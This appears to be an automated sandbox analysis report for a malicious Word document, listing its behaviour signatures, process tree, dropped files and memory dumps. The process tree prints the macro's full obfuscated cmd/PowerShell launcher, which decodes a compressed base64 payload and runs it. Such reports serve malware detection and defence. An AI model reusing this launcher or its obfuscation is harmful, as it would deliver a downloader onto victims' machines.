Analysis
- max time kernel
101s - max time network
126s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
03/06/2024, 12:02
General
- Target 91b670ce7d2855928eef3deee5a8b46c_JaffaCakes118.doc
- Size 73KB
- Sample240603-n7j3msfa46
- SHA256 168ea0a83a949c26875014c54b9e94907734c1a8162eafc7695ac94fb0bae106
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 3 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\91b670ce7d2855928eef3deee5a8b46c_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\CMD.exeCMD CmD /c "SEt CwymA= ^& ((VAriable '*mdr*').nAmE[3,11,2]-JOIn'')(nEw-oBJECt systEM.Io.STreAMReaDer(( nEw-oBJECt iO.comPReSsIoN.deFLaTeSTreaM([sYsTEm.IO.MeMORysTream] [sySTEM.cONVerT]::frombaSe64STrIng('NZBdS8MwGIX/Si8C2ahNLucWClOHrgpCHTgm3qTtq61rPhbeNm6l/9212NvzHB44h5hNGWvwkcl+IMfgFZDtIXuoK9AoSPKkY1oi2hXn2Eoniwuw3Ch+u/5PpcPLUZ5tKZ2S+XmATDZ8d5oKReONZhqQe2sjaS1/mZCqVCZdoxo1Oj9Sl74d0sWEvfcsK5AZ980yx+/RvD9TtrN1hTO6pnNB7k5FEAd0uVxQQba+iQnodoWgbEg/aTjwkDL4BSq+jAOZlzNy2G+DSgfDtHmH7tyR6wVsY7yujSweqxrGzk0wCOci0a05QpRcpWMisqvnKPpcYl52ff8H' ),[SYStEM.io.coMPReSsiON.comPReSSiONmOdE]::dEcoMPREsS ) ), [SYsTEM.TEXT.EnCoDINg]::Ascii)).rEadtoEnD()&& pOWerSHELl ${e`X`ecu`T`ionCon`TexT}.\"I`NVo`KEcoM`MANd\".( \"{2}{1}{3}{0}\" -f 't','KE','inVo','ScRiP' ).Invoke( ( ^& (\"{1}{0}{2}\"-f'-','Get','ItEM') (\"{2}{0}{1}\"-f 'n','V:cwYma','e')).\"vA`lue\" )"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepOWerSHELl ${e`X`ecu`T`ionCon`TexT}.\"I`NVo`KEcoM`MANd\".( \"{2}{1}{3}{0}\" -f 't','KE','inVo','ScRiP' ).Invoke( ( & (\"{1}{0}{2}\"-f'-','Get','ItEM') (\"{2}{0}{1}\"-f 'n','V:cwYma','e')).\"vA`lue\" )3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
997.exe
sist02.xsl
__PSScriptPolicyTest_5z5sojvh.bfu.ps1
memory/736-29-0x00007FF81F050000-0x00007FF81F245000-memory.dmp
memory/736-30-0x00007FF81F050000-0x00007FF81F245000-memory.dmp
memory/736-8-0x00007FF7DF0D0000-0x00007FF7DF0E0000-memory.dmp
memory/736-7-0x00007FF81F050000-0x00007FF81F245000-memory.dmp
memory/736-5-0x00007FF7DF0D0000-0x00007FF7DF0E0000-memory.dmp
memory/736-3-0x00007FF7DF0D0000-0x00007FF7DF0E0000-memory.dmp
memory/736-10-0x00007FF81F050000-0x00007FF81F245000-memory.dmp
memory/736-9-0x00007FF81F050000-0x00007FF81F245000-memory.dmp
memory/736-11-0x00007FF81F050000-0x00007FF81F245000-memory.dmp
memory/736-12-0x00007FF7DCEE0000-0x00007FF7DCEF0000-memory.dmp
memory/736-13-0x00007FF7DCEE0000-0x00007FF7DCEF0000-memory.dmp
memory/736-0-0x00007FF7DF0D0000-0x00007FF7DF0E0000-memory.dmp
memory/736-28-0x00007FF81F050000-0x00007FF81F245000-memory.dmp
memory/736-6-0x00007FF81F050000-0x00007FF81F245000-memory.dmp
memory/736-2-0x00007FF7DF0D0000-0x00007FF7DF0E0000-memory.dmp
memory/736-562-0x00007FF81F050000-0x00007FF81F245000-memory.dmp
memory/736-4-0x00007FF81F050000-0x00007FF81F245000-memory.dmp
memory/736-66-0x00007FF81F050000-0x00007FF81F245000-memory.dmp
memory/736-67-0x00007FF81F0ED000-0x00007FF81F0EE000-memory.dmp
memory/736-68-0x00007FF81F050000-0x00007FF81F245000-memory.dmp
memory/736-1-0x00007FF81F0ED000-0x00007FF81F0EE000-memory.dmp
memory/736-411-0x00007FF81F050000-0x00007FF81F245000-memory.dmp
memory/736-529-0x00007FF81F050000-0x00007FF81F245000-memory.dmp
memory/736-559-0x00007FF7DF0D0000-0x00007FF7DF0E0000-memory.dmp
memory/736-560-0x00007FF7DF0D0000-0x00007FF7DF0E0000-memory.dmp
memory/736-558-0x00007FF7DF0D0000-0x00007FF7DF0E0000-memory.dmp
memory/736-561-0x00007FF7DF0D0000-0x00007FF7DF0E0000-memory.dmp
memory/2712-37-0x0000018547880000-0x00000185478A2000-memory.dmp